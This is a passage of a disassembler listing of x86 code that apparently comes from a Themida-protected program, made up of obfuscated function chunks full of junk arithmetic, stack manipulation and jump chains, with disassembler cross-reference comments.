loc_58DA19: ; CODE XREF: sub_58F013-24B6j
pop [esp+4+var_4]
pop esp
mov word ptr [esp-4+arg_0], cx
movzx cx, al
push cx
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58F013
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58DA2D: ; CODE XREF: sub_58C17E+A5D6j
sub eax, 0C3F6E80Eh
add ebp, eax
pop eax
pop esi
jmp loc_596786
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58DA3B: ; CODE XREF: sub_590467+6845j
add esp, 4
shr bh, 3
jmp loc_58B37B
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
lodsd
push ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp], edx
jmp loc_591FE8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58DA5E: ; CODE XREF: sub_5EC2E8-550B3j
shr esi, 5
sub esi, 376B4C87h
shl esi, 7
shl esi, 1
jmp sub_597716
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58DA71: ; CODE XREF: Themida_:00595852j
add ebx, 0C94A314Bh
mov edx, ebx
pop ebx
or edx, 7F884BFFh
shl edx, 4
shr edx, 1
xor edx, 5C1D6C58h
jmp loc_592AE5
; ---------------------------------------------------------------------------
loc_58DA90: ; CODE XREF: Themida_:0058B227j
sar byte ptr [esp], cl
pushf
jmp loc_590A2F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58DA99: ; CODE XREF: Themida_:0058BB7Dj
; sub_5916C4+633j
pop edi
jmp loc_59547B
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58DA9F: ; CODE XREF: sub_5EC2E8:loc_58B72Cj
; Themida_:0058D9C3j
pop ebx
add edx, ebx
pop ebx
xor edx, [esp+1Ch+var_1C]
xor [esp+1Ch+var_1C], edx
xor edx, [esp+1Ch+var_1C]
pop esp
push 17FBh
mov [esp+1Ch+var_1C], ecx
push esi
mov esi, 23522C9Dh
xchg ebp, esi
xchg esi, ebp
push esi
not [esp+24h+var_24]
jmp loc_58BF3F
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DBC4
loc_58DAC8: ; CODE XREF: sub_58DBC4+29C9j
pop eax
mov ebp, [esp-8+arg_0]
add esp, 4
push edx
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp-8+arg_0]
pop esp
mov [esp-0Ch+arg_4], ebp
push esi
mov esi, 100h
mov ebp, esi
push [esp-8+arg_0]
pop esi
sub esp, 4
mov [esp+0], ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
jmp loc_594127
; END OF FUNCTION CHUNK FOR sub_58DBC4
; ---------------------------------------------------------------------------
loc_58DB19: ; CODE XREF: Themida_:0058B63Dj
not ch
push eax
mov ah, 9Dh
add ah, 0C6h
jmp loc_58CF73
; ---------------------------------------------------------------------------
loc_58DB26: ; CODE XREF: Themida_:00591DC1j
xor ecx, 1FA82FFAh
add ecx, 1
xor ecx, 5A396A6Ah
mov ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5957E3
; ---------------------------------------------------------------------------
loc_58DB45: ; CODE XREF: Themida_:00594517j
mov ecx, [esp]
jmp loc_597C37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58DB4D: ; CODE XREF: sub_58F5B5-190j
; sub_592D25-2EB9j
add esi, 78317A10h
xchg ebp, esi
not ebp
xchg ebp, esi
jmp sub_590467
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58DB5E: ; CODE XREF: Themida_:00590ED8j
push ebp
jmp loc_5948DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58DB64: ; CODE XREF: sub_58C17E+2398j
or ch, 9Dh
jmp loc_58BD94
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58DB6C: ; CODE XREF: sub_5919E2-E49j
xchg edi, [esp+0]
pop esp
jmp loc_58D05B
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58DB75: ; CODE XREF: sub_595E21:loc_58F831j
or edx, 62D86549h
push edi
jmp loc_596124
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_58DB81: ; CODE XREF: sub_591059-5E9Fj
push dword ptr [esp+0]
jmp loc_590D7F
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
loc_58DB89: ; CODE XREF: Themida_:0058E5C1j
jmp loc_5958DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58DB8E: ; CODE XREF: Themida_:0058CE2Ej
; sub_59762D+1FCj
mov esi, 4
push ebp
mov ebp, 58ED49F9h
inc ebp
inc ebp
add ebp, 15501BE4h
jmp loc_5954FD
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58DBA6: ; CODE XREF: sub_58F5B5+41B3j
add esp, 4
add bl, 69h
movzx eax, al
push dword ptr [edi+eax*4]
push [esp-8+arg_4]
pop eax
push ecx
mov ecx, esp
add ecx, 4
jmp loc_58D0E0
; END OF FUNCTION CHUNK FOR sub_58F5B5
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_58DBC4 proc near ; CODE XREF: sub_58F091-2422j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0058C119 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058C97F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DAC8 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 00590560 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00591800 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00592E29 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00594127 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594466 SIZE 00000007 BYTES
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
shr ecx, 0
jmp loc_591800
sub_58DBC4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58DBDF: ; CODE XREF: sub_58F5B5-1F90j
jmp loc_58C5E0
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58DBE4: ; CODE XREF: Themida_:00597A2Ej
mov ecx, esp
add ecx, 4
sub ecx, 2
xchg ecx, [esp]
pop esp
mov [esp], cx
mov cx, 718Dh
xor di, cx
mov cx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 2
jmp loc_59801F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D0EB
loc_58DC19: ; CODE XREF: sub_58D0EB+1j
mov ebx, esp
add ebx, 4
add ebx, 4
jmp sub_58F277
; END OF FUNCTION CHUNK FOR sub_58D0EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58DC29: ; CODE XREF: sub_590010-382j
mov edx, 0F94A89D4h
add edx, edi
pop edi
jmp loc_590D93
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58DC36: ; CODE XREF: sub_5EC2E8-569F6j
add cl, 6Eh
xor dh, cl
pop ecx
mov ah, dh
pop edx
dec ah
or ah, 0DAh
jmp loc_58D85C
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58DC49: ; CODE XREF: Themida_:00590990j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
add al, dh
mov dx, [esp]
add esp, 2
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
sub dword ptr [esp], 44405C3Fh
push dword ptr [esp]
jmp loc_58EE4C
; ---------------------------------------------------------------------------
loc_58DC7A: ; CODE XREF: Themida_:0058E393j
inc edi
jz loc_597887
push ebx
jmp sub_5951B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58DC87: ; CODE XREF: sub_58C17E+365Fj
add edx, 0A4B796FBh
mov edi, edx
pop edx
sub ebp, edi
jmp loc_593000
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338C
loc_58DC97: ; CODE XREF: sub_59338C-5ECEj
add ebx, 2E3970AFh
push dword ptr [esp+0]
mov ecx, [esp+4+var_4]
jmp loc_58BA80
; END OF FUNCTION CHUNK FOR sub_59338C
; ---------------------------------------------------------------------------
loc_58DCA8: ; CODE XREF: Themida_:0058C5B9j
mov dl, 1
add bl, dl
push dword ptr [esp]
pop edx
jmp loc_58F19A
; ---------------------------------------------------------------------------
loc_58DCB5: ; CODE XREF: Themida_:0058B727j
sub esp, 4
jmp loc_590E64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58DCC0: ; CODE XREF: sub_5916C4+4065j
; Themida_:00596806j
pop ebp
xor edx, ecx
jmp loc_596BBC
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_58DCC8: ; CODE XREF: sub_58D99C+7j
push 0A52h
mov [esp+8+var_8], ebx
jmp loc_58EB80
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
loc_58DCD5: ; CODE XREF: Themida_:0058FDA7j
sub ebx, 0CF1CFB3Ah
jmp loc_58C9E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58DCE0: ; CODE XREF: sub_5EC2E8-5B491j
push esi
pop eax
jmp loc_5960D9
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58DCE7: ; CODE XREF: sub_5938B9+3659j
sub edx, 839639D8h
jmp loc_58E321
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58DCF2: ; CODE XREF: Themida_:0058AE1Cj
and ebp, 8F0ABDh
inc ebp
push eax
jmp loc_59544F
; ---------------------------------------------------------------------------
loc_58DCFF: ; CODE XREF: Themida_:00597268j
pop edx
sub ebx, 4
xor ebx, [esp]
jmp loc_5976A8
; ---------------------------------------------------------------------------
loc_58DD0B: ; CODE XREF: Themida_:0058AE35j
add eax, 4
xchg eax, [esp]
jmp loc_58A2F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58DD16: ; CODE XREF: sub_590010+43j
pop eax
add esp, 4
sub esp, 4
mov [esp+4+var_4], esi
mov esi, 77052F73h
or esi, 58910AC7h
not esi
shl esi, 6
jnp loc_597EAB
xor esi, 55980443h
add eax, esi
jmp loc_58F7FE
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58DD46: ; CODE XREF: Themida_:005971C5j
js loc_58BC9A
jmp loc_5956E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58DD51: ; CODE XREF: sub_5916C4-4155j
shl bl, 1
jns loc_58BE32
sub bl, 8
mov ch, bl
jmp loc_594A46
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
and dh, 0D1h
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58DD66: ; CODE XREF: sub_5916C4+12B4j
and ebp, 48284B69h
jmp loc_596109
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push 374h
mov [esp], ecx
mov ecx, esp
push ebp
mov ebp, 4
add ecx, ebp
pop ebp
push ebx
mov ebx, 0D413D04h
push edi
jmp loc_58D24D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58DD99: ; CODE XREF: sub_590010-18E7j
pop edi
pop esi
jmp loc_58F784
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58DDA0: ; CODE XREF: Themida_:0058FC5Bj
add esp, 4
jmp loc_58DE1C
; ---------------------------------------------------------------------------
loc_58DDAB: ; CODE XREF: Themida_:0058D5C8j
add esp, 4
add esi, 4
xchg esi, [esp]
jmp loc_593BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E980
loc_58DDBC: ; CODE XREF: sub_58E980+48EEj
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58E980
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58DDC1: ; CODE XREF: sub_5EC2E8-5A35Dj
push edi
mov edi, 4
jmp loc_58C717
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58DDCC: ; CODE XREF: sub_590467-368Ej
push [esp-6+arg_4+2]
jmp loc_592845
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58DDD5: ; CODE XREF: sub_590010+2C3Cj
add [esp-4+arg_0], 735F566Dh
mov ebx, [esp-4+arg_0]
push edx
mov edx, esp
push esi
jmp loc_58C28C
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58DDE8: ; CODE XREF: Themida_:00591E0Cj
xor esi, 0D066F37h
jp loc_58F27D
shr esi, 1
jnp loc_5947DC
mov esi, edx
mov ecx, ebx
loc_58DE00: ; CODE XREF: Themida_:00591C3Ej
sub ecx, 782740ADh
jns loc_5945D0
shr ecx, 3
xor ecx, 39B0A706h
mov eax, ecx
jmp loc_58C2A8
; ---------------------------------------------------------------------------
loc_58DE1C: ; CODE XREF: Themida_:0058DDA6j
neg ebx
js loc_5944C8
jmp loc_594490
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4EA7h
push ebp
loc_58DE33: ; CODE XREF: Themida_:0058BF02j
add edi, 5CAB0E09h
xor edi, 84EB42C9h
add ebx, 6F41586Bh
add ebx, edi
sub ebx, 6F41586Bh
pop edi
jmp loc_59427D
; ---------------------------------------------------------------------------
loc_58DE53: ; CODE XREF: Themida_:0058F946j
inc eax
jz loc_5940F3
jmp loc_591E21
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58DE67: ; CODE XREF: Themida_:0058C621j
shr esi, 3
not esi
jmp loc_592CF6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58DE71: ; CODE XREF: sub_590467+62C5j
neg ebp
add ebp, 0A595056h
xor ebp, 2401E45h
xor ebp, 8A1D3027h
add edx, ebp
jmp loc_5945A6
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58DE8C: ; CODE XREF: sub_592D25+AA5j
push esi
jmp loc_591162
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_58DE92: ; CODE XREF: Themida_:0058C915j
xor eax, 7607DFB4h
shr eax, 4
jmp loc_596E5D
; ---------------------------------------------------------------------------
loc_58DE9F: ; CODE XREF: Themida_:00595218j
mov esi, 4E185CBDh
jmp loc_5949AF
; ---------------------------------------------------------------------------
loc_58DEA9: ; CODE XREF: Themida_:005905E3j
push ebp
jmp loc_590EA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58DEAF: ; CODE XREF: sub_59762D-2310j
mov dh, bl
pop ebx
pop eax
sub esp, 2
jmp loc_5912E1
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58DEBB: ; CODE XREF: sub_5916CB-B60j
add ebx, 4
sub ebx, 4
xchg ebx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ecx
mov ecx, 4
jmp loc_5969EA
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_58DED8: ; CODE XREF: sub_595BDA+2273j
jnz loc_593E3F
jmp loc_58E5FA
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
pop edx
push ebp
xor dword ptr [esp], 64F20A58h
pop ebx
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58DEED: ; CODE XREF: sub_58F5B5-3A67j
xchg eax, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
mov [esp-8+arg_4], eax
sub esp, 4
jmp loc_58B2FC
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58DF01: ; CODE XREF: Themida_:loc_58C0B5j
jmp loc_5903A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58DF06: ; CODE XREF: sub_59524C-6E57j
pop edx
jmp loc_58E132
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58DF0C: ; CODE XREF: sub_58B4D6+5C23j
sub edx, ecx
pop ecx
xchg edx, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], ebx
mov ebx, 7D2928DAh
jmp loc_596B2F
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58DF20: ; CODE XREF: sub_5916CB+4A7Dj
xchg edi, [esp+0]
jmp loc_58CEB1
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
lodsd
push edi
mov edi, 40746DD8h
add edi, 0DE80AA4Ch
jmp loc_5937CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58DF3A: ; CODE XREF: sub_595123-1E8Fj
add ecx, 4
sub ecx, 4
xchg ecx, [esp+14h+var_14]
jmp loc_59502C
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_58DF4E: ; CODE XREF: sub_591059-4E4Ej
add esi, 0C53D106Ah
sub ebx, esi
jmp loc_58B6C0
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58DF5B: ; CODE XREF: sub_5938B9-57A2j
push 0FE1h
mov [esp-0Ch+arg_8], esi
sub esp, 4
mov [esp-8+arg_4], ecx
sub esp, 4
mov [esp-4+arg_0], esi
jmp loc_596D04
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58DF77: ; CODE XREF: Themida_:00597A05j
mov bh, 0B0h
xor ah, bh
pop ebx
add bl, ah
pop eax
xor bl, 0F2h
jl loc_5911CF
push ecx
mov ch, 2
push eax
mov al, ch
not al
mov ch, al
pop eax
push bx
loc_58DF95: ; CODE XREF: Themida_:0059116Bj
; Themida_:005934AFj
push esi
mov esi, 34187E85h
jmp loc_595A25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58DFA0: ; CODE XREF: sub_5916C4-6AD6j
pop edx
and [edi+1Ch], ecx
push [esp-8+arg_4]
jmp loc_590497
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58DFAC: ; CODE XREF: sub_595258-8BCBj
pop ecx
jmp loc_594868
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59089C
loc_58DFB2: ; CODE XREF: sub_59089C+3084j
mov [esp+4+var_4], edi
sub esp, 4
jmp loc_58EF99
; END OF FUNCTION CHUNK FOR sub_59089C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58DFBD: ; CODE XREF: sub_5916C4+300Cj
jmp loc_58E3B4
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58DFC2: ; CODE XREF: sub_595258+1EC6j
neg [esp+8+var_8]
push [esp+8+var_8]
mov ebp, [esp+0Ch+var_C]
jmp loc_591B8F
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
loc_58DFD0: ; CODE XREF: Themida_:005960D4j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58DFD5: ; CODE XREF: sub_58C17E+23A1j
add ch, 0BBh
sub bl, ch
jmp loc_58C360
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59590E
loc_58DFDF: ; CODE XREF: sub_59590E-EDFj
mov esp, [esp+0]
sub [esp-4+arg_0], ax
pushf
jmp loc_58E8A5
; END OF FUNCTION CHUNK FOR sub_59590E
; ---------------------------------------------------------------------------
loc_58DFEC: ; CODE XREF: Themida_:0058CC2Aj
add esi, edx
pop edx
pop ebx
jmp loc_58A3A9
; ---------------------------------------------------------------------------
loc_58DFF5: ; CODE XREF: Themida_:0059219Bj
pop ecx
add ecx, 4
add ecx, 4
push 399Eh
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_596DBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58E019: ; CODE XREF: sub_58C17E+5EC7j
sub ecx, 0BB2A04F5h
push ecx
add [esp+4+var_4], 6DD019Bh
jmp loc_58C41D
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58E02C: ; CODE XREF: Themida_:0058E4D2j
shr ebx, 5
js loc_5949D3
xor ebx, 5471A2B7h
sub esp, 4
mov [esp], edx
mov edx, 68151C07h
push ebx
mov ebx, 23CD6306h
dec ebx
xor ebx, 70690093h
jmp loc_58FA45
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
sub dword ptr [esp], 542F23F9h
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
jmp loc_5939B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58E06E: ; CODE XREF: sub_590467-5051j
; Themida_:00593210j ...
pop ebp
add esp, 4
jmp loc_592127
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58E077: ; CODE XREF: sub_58F5B5+6898j
xor al, bh
mov ebx, [esp-4+arg_0]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0]
pop esp
push eax
mov al, 0Bh
add al, 5Eh
sub bl, al
pop eax
push dx
push ebx
mov bh, 0EBh
mov dh, 0C3h
add dh, bh
pop ebx
add bl, dh
jmp loc_58F79C
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58E0A8: ; CODE XREF: Themida_:0058C893j
push esi
mov esi, 1E9E7A74h
xor esi, 1E9E7A70h
add eax, esi
pop esi
add eax, 4
push eax
push dword ptr [esp+4]
jmp loc_592D6F
; =============== S U B R O U T I N E =======================================
sub_58E0C4 proc near ; CODE XREF: Themida_:0058A9C5j
; sub_590010+5FDBj
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0059000C SIZE 00000004 BYTES
; FUNCTION CHUNK AT 005972BC SIZE 00000012 BYTES
push ebx
push esp
jmp loc_5972BC
sub_58E0C4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58E0CB: ; CODE XREF: sub_595123-6AFAj
or edi, 54A513FBh
push edx
mov edx, 7E6AFFACh
add edi, edx
pop edx
push edi
jmp loc_58EDF3
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58E0E0: ; CODE XREF: sub_58B4D6+373Ej
sub ebp, 87475084h
jmp loc_59094E
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_58E0EB: ; CODE XREF: Themida_:0058C4E4j
; Themida_:0058FDD5j
pop ebx
jmp loc_596F48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59089C
loc_58E0F1: ; CODE XREF: sub_59089C+FF6j
pop edi
add edi, ebx
pop ebx
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
xor edx, edx
jmp loc_59391B
; END OF FUNCTION CHUNK FOR sub_59089C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58E115: ; CODE XREF: sub_5938B9+33Dj
pop eax
std
jmp loc_58DF5B
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D12
loc_58E11C: ; CODE XREF: sub_592D12-851Ej
sub eax, 309F7A81h
jmp loc_58C927
; END OF FUNCTION CHUNK FOR sub_592D12
; ---------------------------------------------------------------------------
loc_58E126: ; CODE XREF: Themida_:005934DDj
shl bh, 1
add bh, 0Fh
inc bh
jmp loc_58E71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58E132: ; CODE XREF: sub_59524C-7345j
shl ebx, 6
push ebx
inc [esp+4+var_4]
pop ebx
push esi
mov esi, 0AB158541h
jmp loc_59125D
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58E145: ; CODE XREF: sub_58C17E+97Dj
xchg edx, [esp+0Ah+var_C+2]
jmp loc_58C1D7
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58E14D: ; CODE XREF: Themida_:loc_58F636j
xor ah, 41h
mov dl, ah
pop eax
xchg bl, dl
not bl
jmp loc_592F48
; ---------------------------------------------------------------------------
loc_58E15C: ; CODE XREF: Themida_:00593760j
mov [esp], ebx
mov ebx, 79C86DCDh
push ecx
mov ecx, 0AA06F6Bh
and ecx, 48921D29h
jmp loc_58FC44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58E175: ; CODE XREF: sub_595123-4A21j
pop [esp+18h+var_18]
mov esp, [esp+14h+var_14]
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_58E180: ; CODE XREF: Themida_:0058E8ABj
shl ch, 7
jmp loc_59738C
; ---------------------------------------------------------------------------
push 704Dh
mov [esp], esi
push ecx
mov ecx, 21F215Ah
mov esi, 5D7DE8B6h
add esi, 290551DAh
add esi, ecx
push ecx
mov ecx, 290551DAh
sub esi, ecx
pop ecx
pop ecx
shl esi, 3
jnz loc_591E0B
dec esi
jl loc_58B632
jmp loc_58D0AE
; ---------------------------------------------------------------------------
loc_58E1C2: ; CODE XREF: Themida_:0058C642j
add esi, 4C940B83h
jl loc_591C0D
add esi, 0F2886CF2h
push esi
push edi
mov edi, 17022448h
sub [esp+4], edi
jmp loc_592E42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58E1E4: ; CODE XREF: sub_5938B9-70D1j
push edi
jmp loc_5905F9
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58E1EA: ; CODE XREF: sub_595E21-694Dj
add esp, 4
and eax, edi
pop edi
shr eax, 0Bh
jmp loc_59709B
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_58E1FB: ; CODE XREF: Themida_:0059685Ej
pop ecx
add ecx, 4
jmp loc_5931B7
; ---------------------------------------------------------------------------
lodsw
jmp loc_590ED1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58E20E: ; CODE XREF: sub_590467+7442j
add edx, 6F356822h
add edx, edi
jmp loc_59671A
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58E21B: ; CODE XREF: sub_58B4D6+B0C9j
pop ebp
jmp loc_597E05
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58E221: ; CODE XREF: sub_5916C4+4A54j
sub ebx, 0B55CAA96h
jmp loc_58C497
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58E22C: ; CODE XREF: sub_58F5B5+87AFj
not eax
xchg eax, ebp
